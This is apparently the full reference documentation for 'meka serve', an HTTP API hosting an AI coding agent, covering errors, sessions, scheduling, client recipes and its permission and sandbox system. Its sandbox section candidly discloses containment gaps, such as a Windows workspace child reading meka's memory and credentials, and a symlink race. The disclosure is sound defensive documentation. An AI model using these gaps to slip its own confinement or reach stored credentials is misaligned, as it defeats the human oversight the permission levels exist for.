/errors/sse-lag | 500 | SSE consumer fell behind; stream terminated (see SSE lag) |
/errors/stream-detached | 500 | SSE-only. A re-attached stream ended with no recorded outcome because the turn’s task died; read GET /messages for what completed |
/errors/provider | 502 | An upstream call failed for a reason meka could not classify as transient. Usually permanent (a revoked credential, a base_url that is not the API), but it is a catch-all, so treat it as “no reason to expect a retry to help” rather than “a retry cannot help” |
/errors/provider-unavailable | 502 | The upstream failed in a way meka’s classifier had already labeled transient. Worth one backed-off resend. Carries a Retry-After when the upstream gave one, which most of the time it did not |
/errors/context-overflow | 502 | The conversation exceeds the model’s context window, and auto-compaction was off, already spent, or could not shorten it enough. Do not retry unchanged; POST /compact or send less first. Carries provider_response like the two above, since the upstream is what refused it |
/errors/mcp-unavailable | 503 | An MCP server marked required was not connected, so the turn was refused before reaching the provider. The servers extension names them; each one’s reason is in the server log |
/errors/internal | 500 | Unhandled server error |
Streaming turns that fail mid-stream emit a turn.failed SSE event with the same error shape, then close the connection.
The three 502s are the ones worth branching on.
/errors/provider-unavailableis the positive signal: meka’s classifier recognized the failure as transient, which covers an overload, a 5xx, a dropped connection and a stalled stream. Resend it after a pause; Resending a failed turn says what the failed turn leaves behind./errors/context-overflowis the flat refusal: the request no longer fits and will not fit next time either, so retrying it unchanged loops until your client gives up; shorten the conversation withPOST /v1/sessions/{id}/compactor send less.
/errors/provideris the absence of the first signal, not the opposite of it. It is a catch-all covering everything meka could not place, so a revoked credential lands there and so does a 408, a truncated response body, and any mid-stream error type meka does not yet recognize. Most of the time it is permanent and worth surfacing to a human rather than retrying, but do not build a client that will never retry it: one unhurried resend is reasonable, an unbounded loop is not.Branch on
type, not onRetry-After. ARetry-Afteris present only when the upstream volunteered one in delta-seconds form, which most transient failures do not: a dropped connection never produced a response to carry a header, a mid-streamoverloaded_errorhas no headers at all, and an upstream answering with an HTTP date sends none meka can read. Treating its absence as “permanent” discards turns a second attempt would have completed, which is the reason these two types exist separately.Neither provider type says how many attempts meka made first. It declines to retry at all once any output has reached the stream or its retry budget is spent, and a canceled turn abandons the sequence wherever it stands, so one of these can reach you after three attempts or after none.
/errors/provider-unavailableclaims a failure class, not that your next attempt will succeed.A
Retry-Afteron a/errors/provider-unavailableresponse is the upstream’s own, relayed up to an hour. Honor it in preference to your own backoff. The other two never carry one.
Resending a failed turn
A failed turn keeps the message you sent, in the conversation and on disk. That is the REPL’s
behavior too: the person who typed the prompt can see it and expects the agent to have it, and a
turn that got as far as a partial answer or a tool call has work behind it that refers to the
message. For a client that answers a 502 by resending the same message it is the wrong default,
because the resend appends a second copy of the message after the first, and the model is then shown
the same request twice with nothing between them for the life of the session.
Say so instead. A turn sent with options.unanswered_message set to withdraw takes its message
back when the turn ends, failed or canceled, before anything from the model reached the
conversation, so the resend is the only copy. A turn that got a partial answer or a tool call into
the conversation keeps its message either way, so a resend after one is a new turn rather than a
replay. Send the option on every turn you would resend; it is per turn, not per session, and it
never touches a background outcome that was riding on the message, whose row is already spent.
The response says which happened. A turn that failed or was canceled after it began carries
message_withdrawn, in the Problem Detail body of a blocking turn and on the turn.failed and
turn.canceled events of a streaming one. Branch on it rather than on what you saw arrive: thinking
and a half-composed tool call both look like output on the stream, and neither reaches the
conversation, while a completed reply of nothing but thinking does and is invisible to a blocking
client. true means the conversation no longer holds the message and your resend will be the only
copy. false means it does, and a resend appends a second one after whatever the turn produced. A
turn refused before it began, such as the 503 for a required MCP server or any 4xx, never added
the message and carries no message_withdrawn; a resend is the first copy.
Discovery endpoints
These endpoints help clients inspect the server’s capabilities at runtime.
| Endpoint | Auth | Description |
|---|---|---|
GET /v1/health/live | None | Liveness probe: 200 if the process is up |
GET /v1/health/ready | None | Readiness probe: 200 if the store is healthy, at least one profile is configured, and no required MCP server has failed. A failed optional server doesn’t affect readiness, since it can’t stop a turn either. Returns status, session_db, profile_configured, and mcp_servers_healthy (boolean, no server names). profile_configured means a profile exists in config.toml, not that it has a usable credential: a profile’s credential is checked when a session first needs it, so a server can be ready and still answer 422 to POST /v1/sessions. |
GET /v1/profiles | Any read scope | Configured profiles, as {"profiles": [...]}. Each carries name, account, backend (omitted when the profile names an account that is not configured), model (omitted when the profile names none) and active: true on the one a session gets when it names none. Read-only; profiles come from config.toml |
GET /v1/info | Any read scope | Server version and permission surface, and scopes, the ones the calling token holds, so a client can show only the controls it may use. vision reports whether the default profile accepts image attachments; a session on another profile follows that one. Carries no profile or model: GET /v1/profiles reports both per profile and marks the default with active |
GET /v1/skills | Any read scope | Installed skills |
GET /v1/mcp | Any read scope | MCP server connection status |
GET /v1/openapi.json | None, and off unless [serve].docs is set | OpenAPI 3 spec |
GET /v1/docs | None, and off unless [serve].docs is set | Swagger UI |
Session lifecycle
Idle timeout and GC
A background garbage collector scans in-memory sessions and evicts those that have been idle longer than idle_timeout; "0s" disables it, and gc_scan_interval = "0s" is refused:
[serve]
idle_timeout = "24h"
gc_scan_interval = "5m"
Eviction drops the in-memory state (agent runtime, conversation buffer, cancellation tokens) but keeps the SQLite row. A later request with the same session id transparently re-attaches and continues the conversation.
To also remove the row on eviction:
[serve]
delete_on_idle = true
A session is never evicted while a turn is in flight, while a scheduled fire or a compaction holds its runtime, or while one of its background tasks is still running.
Graceful shutdown
meka serve handles SIGTERM / SIGINT with a controlled drain:
- Stop accepting new connections.
- Cancel all in-flight turns (same mechanism as
POST /cancel). - Emit
turn.canceledwithreason: "server_shutdown"on open SSE streams. - Wait up to
shutdown_drain_timeoutfor every turn to finish unwinding, including scheduled fires, background-outcome deliveries, and turns whose client has already disconnected. Canceling a turn is not the same as waiting for one: what follows the cancellation is the commit of the partial reply and of whatever the round already produced. - Exit
0. A drain that hits the timeout instead logs a warning, abandons what is still running, and exits1, so a supervisor can tell the two apart.
[serve]
shutdown_drain_timeout = "30s"
Concurrency
- Per session: one turn at a time. A second
POST /turnreturns 409; a message that should not wait for the session to be free goes through the inbox, which a running turn reads at its next round boundary. - Across sessions: fully concurrent. Multiple sessions can run turns in parallel.
- Process-wide cap (optional): set
max_concurrent_turnsto limit total in-flight turns. Exceeding the cap returns 429 with aRetry-Afterheader.
Configuration
All settings live under [serve] in your config.toml. See the [serve] section of the config file reference for the full field list.
Minimal example:
[serve]
bind = "127.0.0.1:8080"
[[serve.tokens]]
token = "${MEKA_API_TOKEN}"
scopes = ["sessions:r", "sessions:w"]
Full example:
[serve]
bind = "0.0.0.0:8080"
cors_allowed_origins = ["https://owner.github.io"] # a browser UI's origin; omit for none
max_body_bytes = 10485760 # 10 MiB (default)
max_concurrent_turns = 20
idle_timeout = "24h"
gc_scan_interval = "5m"
delete_on_idle = false
shutdown_drain_timeout = "30s"
# Bridge token, env var substitution
[[serve.tokens]]
token = "${BRIDGE_TOKEN}"
description = "telegram bridge"
scopes = ["sessions:r", "sessions:w"]
# Admin token, file-based
[[serve.tokens]]
token_file = "/etc/meka/admin.token"
description = "operator debugging"
scopes = ["sessions:r", "sessions:w", "mcp:r", "skills:r"]
Client recipes
Telegram bridge (Python)
A bridge lives with the session, so it submits through the inbox and watches the feed rather than holding a turn open per message. The agent’s replies go out through whatever tool the bridge exposes to it; the feed tells the bridge when each message was read.
import httpx
MEKA_URL = "http://localhost:8080"
MEKA_TOKEN = os.environ["MEKA_TOKEN"]
HEADERS = {"Authorization": f"Bearer {MEKA_TOKEN}"}
async def handle_message(chat_id: str, message_id: str, text: str):
session_id = await get_or_create_session(chat_id)
resp = await httpx.AsyncClient().post(
f"{MEKA_URL}/v1/sessions/{session_id}/inbox",
headers={**HEADERS, "Idempotency-Key": f"{chat_id}:{message_id}"},
json={"message": text, "class": "steer", "source": "telegram"},
)
resp.raise_for_status()
return resp.json()["item_id"] # 202: durable, read at the next boundary
async def follow(session_id: str):
async with httpx.AsyncClient(timeout=None).stream(
"GET", f"{MEKA_URL}/v1/sessions/{session_id}/stream", headers=HEADERS
) as feed:
async for event in parse_sse(feed):
if event.name == "inbox.delivered":
mark_read(event.data["item_ids"])
elif event.name == "inbox.failed":
tell_chat(event.data["item_id"], event.data["reason"])
Web UI (TypeScript, streaming)
A UI that renders the whole session subscribes to the feed once and files events by turn_id, so it also shows the turns it did not start: a scheduled fire, a background task reporting, a message the user typed while the agent was working and the agent answering it in place. The feed is read with fetch and an SSE parser rather than a native EventSource, which cannot send the bearer header; a UI served from another origin also needs cors_allowed_origins to name it.
const feed = await fetch(`${MEKA_URL}/v1/sessions/${sessionId}/stream`, {
headers: { Authorization: `Bearer ${token}` },
});
for await (const event of parseSse(feed.body)) { // any SSE parser over a ReadableStream
const data = JSON.parse(event.data);
if (event.event === "turn.started") openTurn(data);
if (event.event === "assistant_text.delta") append(data);
if (event.event === "turn.finished") closeTurn(data);
}
async function send(input: string) {
await fetch(`${MEKA_URL}/v1/sessions/${sessionId}/inbox`, {
method: "POST",
headers: { Authorization: `Bearer ${token}`, "Content-Type": "application/json" },
body: JSON.stringify({ message: input, class: "steer" }),
});
}
A UI that wants one turn per request, with the response scoped to it, keeps POST /turn with stream: true; that stream still closes at its own terminal.
Shell script
#!/usr/bin/env bash
set -euo pipefail
TOKEN="sk_..."
BASE="http://localhost:8080"
# Create a session
SESSION=$(curl -sf -X POST "$BASE/v1/sessions" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"cwd\": \"$(pwd)\"}" | jq -r .id)
# Run a turn
RESULT=$(curl -sf -X POST "$BASE/v1/sessions/$SESSION/turn" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"message": "summarize this project"}')
echo "$RESULT" | jq .final_text
# Clean up
curl -sf -X DELETE "$BASE/v1/sessions/$SESSION" \
-H "Authorization: Bearer $TOKEN"
Scheduled jobs
meka serve is the durable host for scheduled wakeups. It fires every job in the store, reviving evicted sessions on demand, so jobs keep running whether or not a client is connected and survive a restart of the server.
An agent-initiated turn has no HTTP request to respond to, so its output is persisted to the session like any other turn. Read it back with GET /v1/sessions/{id}/messages.
POST /v1/sessions/{id}/schedule plants a job on a session. Scheduling must be enabled on the
server ([schedule] enabled), or the request is a 404 not-found: there is nowhere for the job
to go, the same answer a disabled skill or memory store gives. Listing and canceling stay open, so
jobs left from before the flag was flipped can still be cleared out.
| Field | Type | Default | Description |
|---|---|---|---|
prompt | string | (required) | What the agent is asked to do when the job fires; must not be blank |
at | string | One-shot: an RFC 3339 instant, or a duration from now ("20m", "1h 30m") | |
every | string | Recurring interval ("30m", "6h") | |
cron | string | 5-field cron pattern, evaluated in the host’s local time | |
gate | object | Guard the job on a probe; see below |
Exactly one of at, every and cron is required. A gate is {"check": ..., "when": ...}:
check is {"command": "..."} for a shell command or {"tool": "...", "arguments": {...}} for a
read-only tool call, and when is "changed" (the default), "succeeded", {"matches": "<regex>"}
or {"at": "<json pointer>", "is": "not_empty" | "empty" | "changed"}. What a gate requires of the
token and the session is under Endpoint reference.
Reverse proxy setup
For production deployments behind nginx:
location /v1/ {
proxy_pass http://127.0.0.1:8080;
proxy_buffering off;
proxy_cache off;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_read_timeout 600s;
}
Key points:
- Disable buffering: SSE events must not be buffered. Every SSE response carries
X-Accel-Buffering: noandCache-Control: no-cache, no-transform, which switch nginx’s buffering off per response; theproxy_buffering offabove covers proxies that do not honor the header. - Extend read timeout: turns can take minutes; the default 60s is too short.
- Do not compress: gzip/brotli on SSE responses swallow events. Exclude the
/turnroute from compression middleware.
Endpoint reference
| Method | Path | Auth | Description |
|---|---|---|---|
| GET | /v1/health/live | None | Liveness probe |
| GET | /v1/health/ready | None | Readiness probe |
| GET | /v1/info | read | Server version, permission surface, and the caller’s scopes |
| GET | /v1/skills | read | Installed skills |
| GET | /v1/mcp | read | MCP server status |
| POST | /v1/sessions | sessions:w | Create session |
| GET | /v1/sessions | sessions:r | List sessions |
| GET | /v1/sessions/{id} | sessions:r | Get session |
| PATCH | /v1/sessions/{id} | sessions:w | Update session |
| DELETE | /v1/sessions/{id} | sessions:w | Delete session |
| POST | /v1/sessions/{id}/fork | sessions:w | Fork session |
| GET | /v1/sessions/{id}/messages | sessions:r | List messages |
| GET | /v1/sessions/{id}/blobs/{hash} | sessions:r | Image bytes behind a content block |
| POST | /v1/sessions/{id}/turn | sessions:w | Submit turn |
| POST | /v1/sessions/{id}/cancel | sessions:w | Cancel turn (optionally one named turn_id) |
| POST | /v1/sessions/{id}/inbox | sessions:w | Enqueue a message: steer reaches the running turn, interrupt cuts its answer, followup waits |
| GET | /v1/sessions/{id}/inbox | sessions:r | Inbox items the model has not been shown |
| DELETE | /v1/sessions/{id}/inbox/{item_id} | sessions:w | Withdraw an item still waiting |
| POST | /v1/sessions/{id}/responses/{request_id} | sessions:w | Resolve permission prompt |
| GET | /v1/sessions/{id}/stream | sessions:r | The session’s event feed, across turns; ?attend=true (needs sessions:w) to be asked to approve gated calls |
| POST | /v1/sessions/{id}/compact | sessions:w | Summarize the conversation now |
| GET | /v1/sessions/{id}/context | sessions:r | Context occupancy and cumulative usage |
| POST | /v1/sessions/{id}/rewind | sessions:w | Drop trailing turns |
| GET | /v1/sessions/{id}/export | sessions:r | Full transcript (?format=markdown|md|json) |
| POST | /v1/sessions/import | sessions:w | Recreate a session tree from an export |
| GET | /v1/sessions/{id}/tools | sessions:r | Tool catalog for this session (409 if not loaded) |
| GET | /v1/sessions/{id}/tasks | sessions:r | Background tasks |
| DELETE | /v1/sessions/{id}/tasks/{task_id} | sessions:w | Cancel a background task |
| GET | /v1/schedule | schedule:r | All scheduled jobs |
| GET | /v1/sessions/{id}/schedule | schedule:r | Scheduled jobs for one session |
| POST | /v1/sessions/{id}/schedule | schedule:w (+ sessions:w for a gate) | Create a scheduled job |
| DELETE | /v1/schedule/{job_id} | schedule:w | Cancel a scheduled job |
| GET | /v1/skills/{name} | skills:r | One skill, with its body |
| PUT | /v1/skills/{name} | skills:w | Create or update a skill |
| DELETE | /v1/skills/{name} | skills:w | Delete a skill |
| GET | /v1/memory | memory:r | Memory index |
| GET | /v1/memory/{name} | memory:r | One memory, with its body |
| PUT | /v1/memory/{name} | memory:w | Create or update a memory |
| DELETE | /v1/memory/{name} | memory:w | Delete a memory |
| GET | /v1/mcp/{name}/tools | mcp:r | Tools one MCP server advertises, each with its resolved permission, which step of the resolution chain decided it, whether config lets the agent see it, and whether a readOnlyHint the server sent was declined by trust_read_only_hint = false |
| POST | /v1/mcp/{name}/reconnect | mcp:w | Reconnect an MCP server |
| GET | /v1/instructions | sessions:r | Resolved standing instructions |
| GET | /v1/profiles | read | Configured profiles |
| GET | /v1/openapi.json | None, and off unless [serve].docs is set | OpenAPI spec |
| GET | /v1/docs | None, and off unless [serve].docs is set | Swagger UI |
GET /v1/sessions is paginated by limit and cursor (see Sessions), and takes include_children=true to list sub-agent sessions alongside root ones, and cwd=<path> to filter by working directory. A sub-agent’s session record carries parent_id, which is what reconnects it to the session that dispatched it.
A memory record carries both updated_at (when the row last changed) and created_at (when the memory was made, stamped once at creation), plus its tags and its read_count, how many times the agent has recalled it through memory_read. The two timestamps are deliberately separate: a description edit moves updated_at without the note saying anything new, and it is created_at that the model is shown as an age. PUT /v1/memory/{name} accepts tags with the same omit-to-keep rule as body: omit to leave an existing memory’s labels alone, send [] to clear them.
GET /v1/memory/{name} answers 404 for a name that is not stored, with no 422 case: a memory is a row, so there is no file to be present but unparseable. Reading through this endpoint deliberately does not increment the memory’s read count: an operator is not the agent recalling anything, and the count feeds search ranking.
Descriptions and bodies are returned exactly as stored, not as they are rendered into a model’s context: this endpoint is a backup and inspection door, like meka memory export, and stripping characters out of a note on the way through would make a restore lossy. JSON escaping keeps that safe in transit, but a client that decodes and prints the text to a terminal should neutralize it, as meka does at its own render boundaries.
These four endpoints are not gated by [memory] enabled. That switch decides whether an agent keeps memories; a token is the operator, so it reaches a store that already exists exactly as meka memory list does in a shell.
A scheduled job’s optional gate is the sharpest grant on this API, and how sharp depends on what it checks. It requires sessions:w in addition to schedule:w either way.
A shell gate ("check": {"command": "…"}) runs through sh -c as the user running meka serve, on a timer, before the turn and independently of it, so it needs no working provider and no model to execute. The session must be at unrestricted. This is the one grant workspace does not carry: the command runs outside the turn, so nothing confines it to the workspace roots, and the API’s own 403 says unrestricted.
A tool gate ("check": {"tool": "…", "arguments": {…}}) is not held to that bar. It may only name a tool meka resolves to read, and the session need only be at read. Both facts are re-checked on every fire, so a tool that resolves higher after a config change stops being a gate.
execute_command is one such tool wherever a sandbox backend is usable, so a read session can plant an arbitrary command on a timer through the tool form. That is deliberate and it is not the same grant as the shell form: a gate dispatches at read, the level meka sandboxes, so the command runs read-only-confined rather than as a bare sh -c, and where no sandbox is available the tool resolves above read and the gate is refused instead. The confinement blocks writes, not the network. See Scheduled jobs for the longer version.
No job of any kind can be created on a session at none, gated or not: no tool runs there, so the turn could neither act on the job nor cancel it, and POST /v1/sessions/{id}/schedule answers 403 session-permission rather than creating a row that can never run. A job whose session drops to none afterwards keeps its row and reports itself: every job view carries a withheld field, present only when something is holding the job back. With sessions:r it is the same sentence the agent is given; a schedule:r-only token gets a fixed sentence saying the reason needs sessions:r, because the reason can name the session’s level, a gate’s tool, or the first line of a check’s output. It is computed per request from the session’s current level, so it tracks a PATCH /v1/sessions/{id} without the job being rewritten.
A schedule:*-only token can still plant ordinary prompt-only jobs; it cannot reach a gate at all. Scope a bridge accordingly, and note that GET /v1/schedule is server-wide, so schedule:r alone lists every session id in the store.
DELETE /v1/schedule/{job_id} and DELETE /v1/sessions/{id}/tasks/{task_id} both accept a unique id prefix as well as the full id, matching meka schedule cancel and the schedule_cancel / task_cancel tools: the 8-character short form those surfaces print is enough. An id matching nothing is a 404 and one matching several is a 422, so a typo is never reported as a cancellation. A job that a scheduler sweep retired between the lookup and the delete is a 404 as well, for the same reason: 204 means this request canceled the job, not merely that it is gone.
Canceling a background task records the cancellation and signals the running task, but only meka serve can signal work meka serve started. If the session is open in another process (a meka -r REPL, say), the row is marked canceled and the command keeps running there until it ends on its own; its result is then discarded, because the row is no longer running.
POST /v1/mcp/{name}/reconnect answers 200 with where the server now stands, which is not the same as “it worked”: read state, not the status code. An attempt that ran and failed is a 200 carrying state: "failed", not a 502. A server the startup sweep is still connecting comes back as state: "pending" with no attempt made, so a dashboard polling GET /v1/mcp during startup does not mistake “still coming up” for “down”. The two non-200s are narrow: 422 when the server is disabled in config, and 502 when an already-connected server’s transport could not be re-established within [mcp] connect_timeout.
MCP OAuth login and logout are deliberately absent: the flow prints a URL for a person to open in a browser and waits for the callback, which does not belong on a service-to-service surface. Use meka mcp login on the host. /v1/profiles is read-only for the same reason profile selection has no environment tier: an ambient value must never silently rebind which account a named profile bills.
For full request/response schemas, see /v1/openapi.json on a running server, or browse it interactively at /v1/docs (Swagger UI).
Both are off unless you set [serve].docs, and both are unauthenticated when on, so CI pipelines and code generators can fetch the spec without a token. That combination is what makes them opt-in: they take no token and they publish the shape of every endpoint the deployment exposes, which is useful on a workstation and reconnaissance anywhere else.
Exporting the spec
Save a local copy for offline use or code generation:
curl -s http://localhost:8080/v1/openapi.json -o openapi.json
Code generation
Generate a typed client from the exported spec:
# Python (openapi-python-client)
openapi-python-client generate --path openapi.json
# TypeScript (openapi-typescript)
npx openapi-typescript openapi.json -o src/api.d.ts
# Go (oapi-codegen)
oapi-codegen -package api openapi.json > api/api.gen.go
# Rust (progenitor)
cargo progenitor-client openapi.json
Import into tools
- Postman / Insomnia: Import → URL →
http://localhost:8080/v1/openapi.json - Bruno: Create collection from OpenAPI → paste the URL or a saved file.
- Swagger Editor: File → Import URL →
http://localhost:8080/v1/openapi.json
Permissions
meka uses a four-level permission system to control what tools the agent can use, and one switch, approvals, that decides what happens to a call the level does not cover. Together they give you control over the agent’s capabilities and prevent accidental modifications.
Permission levels
| Level | Indicator | What it allows |
|---|---|---|
| None | [n] (green) | No tools. The agent can only respond with text. |
| Read | [r] (yellow) | Read-only tools: read_file, find_files, search_contents, fetch_url, execute_command (sandboxed read-only), todo, agent_spawn, scratchpad tools |
| Workspace | [w] (orange) | Every tool, but writes are confined to the workspace roots. Reads stay unrestricted. execute_command runs in a sandbox that permits writes only under those roots |
| Unrestricted | [u] (red) | Every tool, no boundary. execute_command runs with no sandbox at all |
The ladder is ordered by reach: each level contains the ones below it, and a tool call that needs more than the session’s level is refused. With approvals on, it is put to you instead.
The workspace boundary
At workspace, a write may land under:
- the working directory (which
/cdmoves), - any folder an ACP client supplied as an additional directory,
- any
--writable-root <PATH>you passed, repeatable.
Roots are resolved to their canonical form, so a symlink inside the workspace that points out of it
resolves to where it actually lands and is refused. A root that does not exist is dropped rather
than trusted; if none resolve, nothing is writable. A --writable-root that does not resolve at
startup is reported as a warning, and kept: a build directory that does not exist yet becomes a root
the moment it does.
The boundary follows the working directory. It is recomputed on every write rather than fixed
when the session starts, so /cd /etc at workspace makes /etc writable from that point on. This
is deliberate: the working directory is the workspace, and a boundary that stayed behind after you
moved would refuse writes to the place you are plainly now working in. The agent has no tool that moves the working
directory, so it cannot relocate its own boundary. You can, with /cd; and under meka serve a
client holding sessions:w can, with PATCH /v1/sessions/{id}.
Because the boundary follows the directory, the directory is recorded on the session row and a
resume reopens it rather than adopting your shell’s. Resuming a workspace session
from $HOME would otherwise make your whole home directory writable without you asking.
One consequence worth knowing: a relative --writable-root resolves against your shell, not
against the session. meka -c --writable-root build run from ~ grants ~/build, while the
session itself may reopen in ~/project. That follows from the flag belonging to the process rather
than to the session; pass an absolute path when you mean a directory inside the session’s.
--writable-root belongs to the process and reaches the REPL, a one-shot run, and an ACP session.
It does not reach a session created through POST /v1/sessions: the HTTP API is single-root, so a session there is confined to its own
cwd and nothing else. Extra roots supplied by an ACP client apply to that client’s session only,
and meka does not report your --writable-root back to the client as though the client had asked
for it.
Because it belongs to the process, it is not recorded on the session either, and resuming a session
does not bring it back: pass it again. This is the difference between it and the profile and
permission level, which are recorded and do come back. Writing it to the row would mean a
meka serve sharing the data directory could later grant those roots to a job it fires, on the
authority of a flag that process was never given.
The same set governs both halves, derived once so they cannot disagree: the file tools check it
before writing, and the shell sandbox is built from it. A refusal from write_file names the roots
so the agent can retry somewhere valid.
A sub-agent can be handed a narrower boundary than its parent’s: agent_spawn’s
writable_roots names the directories it may write under, each
of which must lie inside the parent’s own.
If [shell].sandbox = false, execute_command is refused at workspace rather than run
unconfined. Nothing else would be holding the boundary, and half a boundary reported as a whole one
is worse than an error that says so. Use unrestricted for those turns.
What it does not cover
Four limits, stated plainly because none of them is visible from the inside:
- MCP servers are not sandboxed. They run in their own process, which meka does not confine, so
a tool from an MCP server can write anywhere the server can, and no boundary meka can express
reaches it. A tool with no permission annotation falls back to
unrestricted, and meka refuses it atworkspacerather than dispatching it, becausePermission::allowstreatsworkspaceandunrestrictedas equal and would otherwise let it straight through. To use one fromworkspace, name it in[mcp.servers.*].tool_permissionsat a level you are willing to grant, turn approvals on so the call is put to you, or switch tounrestricted. - meka’s own stores are outside the boundary and always writable: the store under
MEKA_DATA_DIR, memories included, and skills underMEKA_CONFIG_DIR. They are governed by their own config keys, not by this one. - Reads are never confined, at any level. The boundary is “this cannot change things outside the workspace”, not “this cannot see them”.
- The in-process fence resolves paths, it does not pin them.
write_fileandedit_fileresolve every existing component of a target before judging it, so a symlink already planted on the path is caught. What is left open is the race: a directory checked and then swapped for a symlink before the write lands. Closing it means holding a directory descriptor through the write on every platform, which is a larger mechanism than this one. It needs a concurrent writer planting the link mid-call to matter, which is consistent with the sandbox being defense against an agent damaging your data by accident rather than an adversarial containment boundary.
Per-platform enforcement
| Platform | Backend | Confines the shell |
|---|---|---|
| Linux | Bubblewrap (preferred) | Yes: read-only root bind, plus a writable bind per root |
| Linux | Landlock (fallback) | Yes: one path-beneath rule per root |
| macOS | sandbox-exec | Yes: writable subpath per root |
| Windows | WRITE_RESTRICTED token + per-root ACE | Yes: writes are permitted only where a workspace capability has an ACE |
Under Bubblewrap, /tmp, /run and /var/tmp are masked with a tmpfs, so paths there are not
merely unwritable but invisible. A workspace root under /tmp is bound after the mask and stays
reachable.
meka’s own directories are hidden too: the config directory, the data directory holding
meka.db and every account credential, and the command-output captures. Bubblewrap masks them
after every workspace bind and sandbox-exec denies them last, so a confined command cannot read
the credential store even from a workspace root at $HOME that contains it, and the in-process
write_file and edit_file refuse a target under them whatever roots the session holds. The
in-process read tools (read_file, search_contents, find_files, scratchpad_load_file) refuse
them below unrestricted too, and a search from a root above them steps around them. Landlock
and the Windows token cannot express that denial: their rules only add access, so under either a
command at read can still read the store, and a workspace root containing it can write it.
Windows says so at startup, and Landlock does too unless sandbox_backend pins it. Only
unrestricted writes there on the backends that can hide it.
Windows works differently enough to be worth stating. meka mints a deterministic capability SID per
workspace root, adds an inheritable write ACE for it on that root, and runs the shell under a
WRITE_RESTRICTED token carrying that capability. Three consequences:
-
It writes to your directory’s ACL. The grant is real, standing state, visible in
icaclsas anS-1-4-…entry. meka takes it back when the process exits, including on Ctrl+C, and logs how to remove it by hand if revocation fails. The next run re-adds it, which costs one pass over the tree.A crash or a kill still strands it. Nothing runs on those paths, so the ACE outlives them. It grants nothing to anyone but a meka run in that same directory, and is reused rather than duplicated next time, but if you want it gone:
icacls "<root>" /remove:g *<the S-1-4-… from icacls>.The grant is tracked per process, not per session, so several sessions confining the same root share one ACE, and it is released when the process exits rather than when any one of them ends. Under
meka servethat means the ACE stands for the lifetime of the server. -
It needs you to own the root. Ownership supplies
WRITE_DACimplicitly, which is what lets meka grant without elevation. A network share or another user’s folder cannot be a workspace root. -
Writes are restricted; nothing else is. A
WRITE_RESTRICTEDtoken intersects write accesses only. Anything carrying an explicitEveryone: WriteACE stays writable even outside the workspace, which has no Unix analog.This one is a deliberate trade, not an oversight. The restricting list has to include
Everyoneor PowerShell cannot start: the .NET runtime fails to initialize withE_ACCESSDENIEDbefore it evaluates anything, so every shell command dies. Measured both ways on Windows 11: droppingEveryonecloses the hole and takes the entire shell with it. Writes inside the workspace, to files new and pre-existing, and to meka’s own output pipe all behave the same either way, so a filesystem-only test makes the change look free. Files carrying an explicitEveryone: WriteACE are rare and usually a misconfiguration in their own right; aworkspacelevel that cannot run a command is not a usable level. -
The confined child shares meka’s console and integrity level.
readgets a private console and a Low-integrity token, so Windows’ UI privilege isolation stands between it and meka. Aworkspacechild gets neither: a restricted token cannot create a console, only inherit one, and the integrity label is deliberately left alone so ordinary tooling keeps working. The child can therefore write to the terminal outside meka’s own rendering, and window messages between the two are not blocked. It is confined on the filesystem, which is what the level promises, and it is not isolated from the meka process itself. -
A
workspacecommand can read meka’s process memory, and areadcommand cannot. This is the one axis on whichworkspaceis weaker than the level below it, so it is worth stating plainly.WRITE_RESTRICTEDintersects the restricting SIDs for write access only, and the integrity label is left alone, so nothing stops aworkspacechild callingOpenProcesswithPROCESS_VM_READagainst meka and reading whatever the process is holding, including your account credentials. Measured on real hardware: a native probe run atworkspaceread a canary string straight out of meka’s heap, while the identical probe atreadfailed atOpenProcesswithERROR_ACCESS_DENIED, because Low integrity refuses the handle. There is no clean fix inside the current design. Dropping theworkspacechild to Low integrity would confine it to the Low-integrity surface and take the workspace write grant with it, and a deny ACE on meka’s own process would have to name a SID the child carries but meka does not, which the restricted token does not provide. Treatworkspaceon Windows as protecting your files from the agent, not as protecting meka’s secrets from a command the agent runs. -
PowerShell runs in ConstrainedLanguage mode. The restricted token triggers it, and
readandunrestrictedare unaffected (both reportFullLanguage). Scripts that construct .NET types or set properties on them will fail atworkspacewhere they work atunrestricted. meka’s own UTF-8 output preamble is skipped rather than run there, so non-ASCII output atworkspaceis decoded with the host’s legacy code page and may be mangled.
The mechanism is a port of a community proof-of-concept rather than a vendor-supported sandboxing API, unlike Landlock, Bubblewrap and Seatbelt. It is the tightest boundary Windows offers without provisioning machine-level identities, which would need an Administrator setup step.
Default permission
The default permission is read, with approvals off. The default enabled set is every
level, none / read / workspace / unrestricted.
Shift+Tab reaches workspace before unrestricted, so the confined level is the one you land on
first when you want the agent to change something.
You can change the start level with:
- CLI flag:
meka --permission workspace - Environment variable:
export MEKA_PERMISSION=workspace - Config file:
[permissions] default = "workspace"; see Config file
If --permission or MEKA_PERMISSION selects a level that isn’t in [permissions].enabled, meka
logs a warning and starts at the configured default instead of refusing to launch. A session whose
recorded level has since left [permissions].enabled is treated the same way wherever it is
reopened (a resume, meka serve re-attaching it, ACP session/load): it starts at the configured
default, with one warning naming the session, rather than at authority the configuration withdrew.
A level meka does not have in [permissions].enabled or default is refused at parse, with the
line. An enabled list that names nothing is different: meka warns and falls back to read
alone, not to the default set. An empty list asks for nothing, and answering it with four levels
including unrestricted would resolve to more authority than you wrote.
Upgrading from write
The write level was split in 0.42 and the name is retired. It resolves to nothing, and every
surface says which of the two replaced it:
workspacefor writes confined to the working directory. This is what mostwriteusers actually wanted.unrestrictedfor the old behavior exactly: no boundary, no sandbox on the shell.
write is refused rather than reassigned on purpose. The same words are also requirements in
[tools.tool_permissions], [mcp.servers.*].tool_permissions and [mcp].default_permission, where
silently re-pointing the name at the narrower level would have admitted tools a rung earlier than
their author intended. A hard failure at every door is the safe direction.
Anything meka persisted for itself (a sub-agent’s saved spec, a scheduled job’s gate) needs the one-shot migration script; those values were never typed by you and cannot be fixed by hand.
Changing permissions at runtime
Press Shift+Tab to cycle through permission levels:
none → read → workspace → unrestricted → none → ...
Disabled levels are skipped during cycling.
Or use the /permission slash command:
/permission workspace
/permission unrestricted
/permission <level> against a disabled level prints an error naming the currently enabled set.
The prompt indicator updates immediately to reflect the new level. The agent learns the current level via a per-turn [Permission context] block prepended to your message (see How permissions work below).
Approvals
Approvals is one switch beside the level. Off, a call that needs more than the session’s level is refused, and the agent is told which level it would need. On, the call is paused for your approval instead:
[approval] execute_command
command: ls -la
